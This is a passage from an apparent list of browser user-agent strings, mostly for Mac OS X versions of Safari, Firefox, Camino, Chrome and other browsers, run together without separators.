Safari/533.20.27 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; nn-no) AppleWebKit/533.21.1 (KHTML, like Gecko) iCab/4.8b Safari/533.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.125 Safari/533.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/533.21.1 (KHTML, like Gecko) iCab/4.8 Safari/533.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_7; en-us) AppleWebKit/533.4 (KHTML, like Gecko) Version/4.1 Safari/533.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_7; en-us) AppleWebKit/534.20.8 (KHTML, like Gecko) Version/5.1 Safari/534.20.8 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_7_0; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.7 Safari/533.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_7_0; en-US) AppleWebKit/534.21 (KHTML, like Gecko) Chrome/11.0.678.0 Safari/534.21 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_7_5; en-US) AppleWebKit/533.21.1+(KHTML, like Gecko, Safari/533.19.4) Version/5.11.2 OmniWeb/622.19.3.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_8; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.0 Safari/532.5 Mozilla/5.0 (Macintosh; U; Intel Mac OS X Mach-O; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X Mach-O; en; rv:1.8.1.12) Gecko/20080206 Camino/1.5.5 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; cs; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; da; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; de-AT; rv:1.9.1.8) Gecko/20100625 Firefox/3.6.6 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; de-de) AppleWebKit/418.8 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; de-de) AppleWebKit/418.9 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; de-de) AppleWebKit/418.9.1 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; de-de) AppleWebKit/419 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; de-de) AppleWebKit/522+ (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; de-de) AppleWebKit/522.11.1 (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; de; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; de; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; de; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; de; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; de; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit (KHTML, like Gecko) Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/4.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/416.11 (KHTML, like Gecko, Safari/416.12) Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.9.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/418.8 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/418.9 (KHTML, like Gecko) NetNewsWire/3.0d7 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/418.9 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/418.9 (KHTML, like Gecko) Shiira/1.2.2 Safari/125 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/418.9 (KHTML, like Gecko, Safari) Cheshire/1.0.UNOFFICIAL Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/418.9.1 (KHTML, like Gecko) Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/418.9.1 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/418.9.1 (KHTML, like Gecko) Safari/419.3 TeaShark/0.8 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/418.9.1 (KHTML, like Gecko) Shiira/1.2.2 Safari/125 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/418.9.1 (KHTML, like Gecko) Sunrise/1.6.5 like Safari/419.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko) Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko) NetNewsWire/2.1.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko) Shiira Safari/125 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/125) Cheshire/1.0.ALPHA Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/521.32.1 (KHTML, like Gecko) Safari/521.32.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/522+ (KHTML, like Gecko) Version/3.0 Safari/522.11 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/522+ (KHTML, like Gecko) Version/3.0.2 Safari/522.12 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/522.10.1 (KHTML, like Gecko) Version/3.0 Safari/522.11 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/522.11 (KHTML, like Gecko) Version/3.0.2 Safari/522.12 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/522.11.1 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/522.11.1 (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/522.7 (KHTML, like Gecko) Version/3.0 Safari/522.7 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/523.10.3 (KHTML, like Gecko) Version/3.0.4 Safari/523.10 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/523.10.3 (KHTML, like Gecko) Version/3.0.4 Safari/523.10) Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/523.2+ (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/523.5+ (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/523.9+ (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-GB; rv:1.8.1) Gecko/20061010 Firefox/3.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-GB; rv:1.8.1.14) Gecko/20080421 Thunderbird/2.0.0.14 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-GB; rv:1.8.1.17) Gecko/20080914 Thunderbird/2.0.0.17 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-GB; rv:1.8.1.18) Gecko/20081105 Thunderbird/2.0.0.18 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-GB; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-GB; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-GB; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US) AppleWebKit/525.18 (KHTML, like Gecko, Safari/525.20) OmniWeb/v622.6.1.0.111015 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US) AppleWebKit/528.16 (KHTML, like Gecko, Safari/528.16) OmniWeb/v622.8.0.112941 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.86 Safari/533.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.1) Gecko/20060116 Firefox/1.5.0.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.1) Gecko/20060203 Camino/1.0rc1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.1) Gecko/20060214 Camino/1.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.1) Gecko/20060227 Firefox/1.5.0.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.10) Gecko/20070228 Camino/1.0.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.11) Gecko/20070321 Firefox/1.5.0.11 Flock/0.7.12 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.11) Gecko/20070327 Firefox/1.5.0.11 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.12) Gecko/20070530 Firefox/1.5.0.12 Flock/0.7.14 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.2) Gecko/20060328 Firefox/1.5.0.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.4) Gecko/20060604 Firefox/1.5.0.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.4) Gecko/20060613 Camino/1.0.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.6) Gecko/20060819 Firefox/1.5.0.6 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.7) Gecko/20060911 Camino/1.0.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.8) Gecko/20061109 Firefox/1.5.0.8 Flock/0.7.8 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.9) Gecko/20061211 SeaMonkey/1.0.7 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1) Gecko/20061003 Firefox/2.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1) Gecko/20061010 Firefox/3.0.6 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1) Gecko/20061017 Firefox/2.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1) Gecko/20061018 Camino/1.1a1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1) Gecko/20061024 BonEcho/2.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1) Gecko/20061024 Firefox/2.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.1) Gecko/20061223 Firefox/2.0.0.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.1) Gecko/20070505 Firefox/2.0.0.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.10pre) Gecko/20071127 Firefox/2.0.0.10 Navigator/9.0.0.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.11) Gecko/20071127 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.11) Gecko/20071206 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.11) Gecko/20071206 Firefox/2.0.0.11 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.11) Gecko/20080121 Firefox/2.0.0.11 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.11) Gecko/20080122 Firefox/2.0.0.11 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.11pre) Gecko/20071206 Firefox/2.0.0.11 Navigator/9.0.0.5 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.12) Gecko/20080202 Firefox/2.0.0.12 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.12pre) Gecko/20080122 Firefox/2.0.0.12pre Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.13) Gecko/20080313 Firefox Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.13) Gecko/20080313 SeaMonkey/1.1.9 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.14) Gecko/20080421 Thunderbird/2.0.0.14 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.14) Gecko/20080530 Firefox/2.0.0.14 Flock/1.2.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.16) Gecko/20080703 Firefox/3.0.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.16) Gecko/20080703 SeaMonkey/1.1.11 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.17) Gecko/20080829 SeaMonkey/1.1.12 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.17) Gecko/20080914 Thunderbird/2.0.0.17 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.18) Gecko/20081105 Thunderbird/2.0.0.18 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.19) Gecko/20081209 Thunderbird/2.0.0.19 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.2) Gecko/20070221 SeaMonkey/1.1.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.22) Gecko/20090605 SeaMonkey/1.1.17 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.23) Gecko/20090823 SeaMonkey/1.1.18 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.24) Gecko/20100301 SeaMonkey/1.1.19 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.3) Gecko/20070322 BonEcho/2.0.0.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.5) Gecko/20070718 Firefox/2.0.0.5 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Camino/1.5.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.8) Gecko/20071019 Firefox/2.0.0.8 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.8pre) Gecko/20071001 Firefox/2.0.0.7 Navigator/9.0RC1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.8pre) Gecko/20071019 Firefox/2.0.0.8 Navigator/9.0.0.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.9) Gecko/20071031 Firefox/2.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.9) Gecko/20071106 Firefox/2.0.0.9 Flock/1.0.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.9pre) Gecko/20071102 Firefox/2.0.0.9 Navigator/9.0.0.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1a3) Gecko/20060601 Camino/1.0+ Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8b5) Gecko/20051021 Camino/1.0+ Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.9a1) Gecko/20061215 Minefield/3.0a1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.9a8pre) Gecko/2007083104 Minefield/3.0a8pre Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-ZA; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-au) AppleWebKit/523.10.3 (KHTML, like Gecko) Shiira Safari/125 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-au) AppleWebKit/523.10.3 (KHTML, like Gecko) Version/3.0.4 Safari/523.10 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-au) AppleWebKit/525+ (KHTML, like Gecko) Version/3.0.4 Safari/523.11 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-gb) AppleWebKit/523.10.6 (KHTML, like Gecko) Version/3.0.4 Safari/523.10.6 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-us) AppleWebKit/418.8 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-us) AppleWebKit/418.9.1 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-us) AppleWebKit/419.2.1 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-us) AppleWebKit/522+ (KHTML, like Gecko) Version/3.0 Safari/522.11 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-us) AppleWebKit/522.10.1 (KHTML, like Gecko) Version/3.0 Safari/522.11 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-us) AppleWebKit/522.11.1 (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-us) AppleWebKit/523.10.5 (KHTML, like Gecko) Version/3.0.4 Safari/523.10.6 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-us) AppleWebKit/523.12 (KHTML, like Gecko) Version/3.0.4 Safari/523.12 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-us) AppleWebKit/523.15.1 (KHTML, like Gecko) Version/3.0.4 Safari/523.10 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-us) AppleWebKit/525+ (KHTML, like Gecko) Version/3.0.4 Safari/523.11 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-us) AppleWebKit/525.1+ (KHTML, like Gecko) Version/3.0.4 Safari/523.10 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.11) Gecko/20071128 Camino/1.5.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.1pre) Gecko/20061126 Camino/1.1a1+ Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.24) Gecko/20100305 Camino/1.6.11 (like Firefox/2.0.0.24) Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.2pre) Gecko/20070108 Camino/1.1a2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.2pre) Gecko/20070223 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.2pre) Gecko/20070223 Camino/1.1b Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.4) Gecko/20070509 Camino/1.5 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.4) Gecko/20070607 Camino/1.5 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.4) Gecko/20070609 Camino/1.5 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.4pre) Gecko/20070417 Camino/1.1b+ Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.4pre) Gecko/20070521 Camino/1.6a1pre Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.4pre) Gecko/20070526 Camino/1.6a1pre Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.6) Gecko/20070809 Camino/1.5.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.6) Gecko/20070809 Firefox/2.0.0.6 Camino/1.5.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; es) AppleWebKit/418.9.1 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; es-AR; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; es-ES; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.9 MEGAUPLOAD 2.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; es-ES; rv:1.8.1.18) Gecko/20081031 SeaMonkey/1.1.13 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; es-ES; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; es-es) AppleWebKit/523.15.1 (KHTML, like Gecko) Version/3.0.4 Safari/523.15 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; fi-fi) AppleWebKit/522.10.1 (KHTML, like Gecko) Version/3.0 Safari/522.11 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; fi; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; fr) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; fr) AppleWebKit/418.8 (KHTML, like Gecko) Mozilla/5.0 (Macintosh; U; Intel Mac OS X; fr) AppleWebKit/418.8 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; fr) AppleWebKit/418.9.1 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; fr) AppleWebKit/418.9.1 (KHTML, like Gecko) Shiira Safari/125 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; fr) AppleWebKit/523.12.2 (KHTML, like Gecko) Sunrise/1.6.0 like Safari/523.12.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; fr) AppleWebKit/523.12.2 (KHTML, like Gecko) Version/3.0.4 Safari/523.12.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; fr-fr) AppleWebKit/523.10.3 (KHTML, like Gecko) Version/3.0.4 Safari/523.10 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; fr-fr) AppleWebKit/525.1+ (KHTML, like Gecko) Version/3.0.4 Safari/523.10 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; fr; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; fr; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; fr; rv:1.8.1.16) Gecko/20080707 Thunderbird/2.0.0.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; fr; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; fr; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; it-IT) AppleWebKit/521.25 (KHTML, like Gecko) Safari/521.24 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; it-it) AppleWebKit/418.8 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; it-it) AppleWebKit/523.10.6 (KHTML, like Gecko) Version/3.0.4 Safari/523.10.6 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; it-it) AppleWebKit/523.12.2 (KHTML, like Gecko) Version/3.0.4 Safari/523.12.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; it; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; it; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; it; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; it; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; ja-jp) AppleWebKit/418.9 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; ja-jp) AppleWebKit/419 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; ja-jp) AppleWebKit/523.10.3 (KHTML, like Gecko) Version/3.0.4 Safari/523.10 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; ja-jp) AppleWebKit/523.12.2 (KHTML, like Gecko) Version/3.0.4 Safari/523.12.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; ko-kr) AppleWebKit/523.15.1 (KHTML, like Gecko) Version/3.0.4 Safari/523.15 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; ko; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; nb-NO; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; nb-NO; 